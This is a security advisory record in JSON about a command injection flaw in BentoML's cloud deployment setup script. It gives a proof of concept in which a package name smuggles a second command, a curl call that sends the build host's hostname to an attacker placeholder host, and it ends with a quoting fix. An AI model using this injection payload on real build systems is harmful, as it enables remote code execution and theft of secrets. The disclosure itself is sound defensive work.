{"id":"GHSA-fgv4-6jr3-jgfw","summary":"BentoML: Command Injection in cloud deployment setup script","details":"Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting.\n\nThe generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.\n\n## Details\n\n**Fixed paths (commit ce53491):**\n- `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)`\n- `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter\n- Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc.\n\n**Unfixed path:**\n\n`src/bentoml/_internal/cloud/deployment.py`, line 1648:\n\n    def _build_setup_script(bento_dir: str, image: Image | None) -\u003e bytes:\n        content = b\"\"\n        config = BentoBuildConfig.from_bento_dir(bento_dir)\n        if config.docker.system_packages:\n            content += f\"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\\n\".encode()\n\n`system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`.\n\n**Remote execution confirmed:**\n- Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files`\n- Line 908: `upload_files.append((\"setup.sh\", setup_script))` uploads to BentoCloud\n- Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment\n- The script runs on the cloud build infrastructure during container setup\n\n**Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments.\n\n## Proof of Concept\n\nbentofile.yaml:\n\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#\"\n\nGenerated setup.sh:\n\n    apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1\n\nThe semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker.\n\n## Impact\n\nA malicious `bentofile.yaml` achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:\n\n1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure.\n2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).\n3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.\n\n## Local Reproduction Steps\n\nTested and confirmed on Ubuntu with BentoML source at commit 0772581.\n\nStep 1: Create a directory with a malicious bentofile.yaml:\n\n    mkdir /tmp/bento-pwn\n    cat \u003e /tmp/bento-pwn/bentofile.yaml \u003c\u003c 'EOF'\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq; touch /tmp/PWNED_BY_INJECTION #\"\n    EOF\n\nStep 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):\n\n    python3 -c \"\n    import yaml\n    with open('/tmp/bento-pwn/bentofile.yaml') as f:\n        config = yaml.safe_load(f)\n    pkgs = config['docker']['system_packages']\n    script = f\\\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\\n\\\"\n    print('Generated setup.sh:')\n    print(script)\n    with open('/tmp/bento-pwn/setup.sh', 'w') as f:\n        f.write(script)\n    \"\n\nStep 3: Execute and verify:\n\n    rm -f /tmp/PWNED_BY_INJECTION\n    bash /tmp/bento-pwn/setup.sh\n    ls -la /tmp/PWNED_BY_INJECTION\n\nResult: `/tmp/PWNED_BY_INJECTION` is created, confirming the injected `touch` command executed. The semicolon broke out of `apt-get install`, the injected command ran, and `#` commented out the error handler.\n\nGenerated setup.sh content:\n\n    apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1\n\nFor comparison, the fixed version (with shlex.quote) would generate:\n\n    apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1\n\nThe single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.\n\n## Suggested Fix\n\nApply `shlex.quote` to each package name, matching the fix in `images.py`:\n\n    if config.docker.system_packages:\n        quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)\n        content += f\"apt-get update && apt-get install -y {quoted} || exit 1\\n\".encode()\n\n— Koda Reef","aliases":["CVE-2026-35043","PYSEC-2026-158"],"modified":"2026-06-08T20:15:16.622817203Z","published":"2026-04-03T22:03:22Z","database_specific":{"nvd_published_at":"2026-04-06T18:16:41Z","cwe_ids":["CWE-78"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-03T22:03:22Z"},"references":[{"type":"WEB","url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33744"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35043"},{"type":"PACKAGE","url":"https://github.com/bentoml/BentoML"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-158.yaml"}],"affected":[{"package":{"name":"bentoml","ecosystem":"PyPI","purl":"pkg:pypi/bentoml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.38"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.5","0.0.6a0","0.0.7","0.0.7.dev0","0.0.8","0.0.8.post1","0.0.9","0.1.1","0.1.2","0.10.0","0.10.1","0.11.0","0.11.dev0","0.12.0","0.12.1","0.13.0","0.13.1","0.13.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.0rc0","0.9.1","0.9.2","1.0.0","1.0.0.dev0","1.0.0.dev1","1.0.0a1","1.0.0a2","1.0.0a3","1.0.0a4","1.0.0a5","1.0.0a6","1.0.0a7","1.0.0rc0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.0a0","1.2.0a1","1.2.0a2","1.2.0a3","1.2.0a4","1.2.0a5","1.2.0a6","1.2.0a7","1.2.0rc1","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.19","1.2.1a1","1.2.2","1.2.20","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.0a1","1.3.0a2","1.3.0a3","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.19","1.3.2","1.3.20","1.3.21","1.3.22","1.3.3","1.3.4.post1","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0a1","1.4.0a2","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.32","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.4.37","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-fgv4-6jr3-jgfw/GHSA-fgv4-6jr3-jgfw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}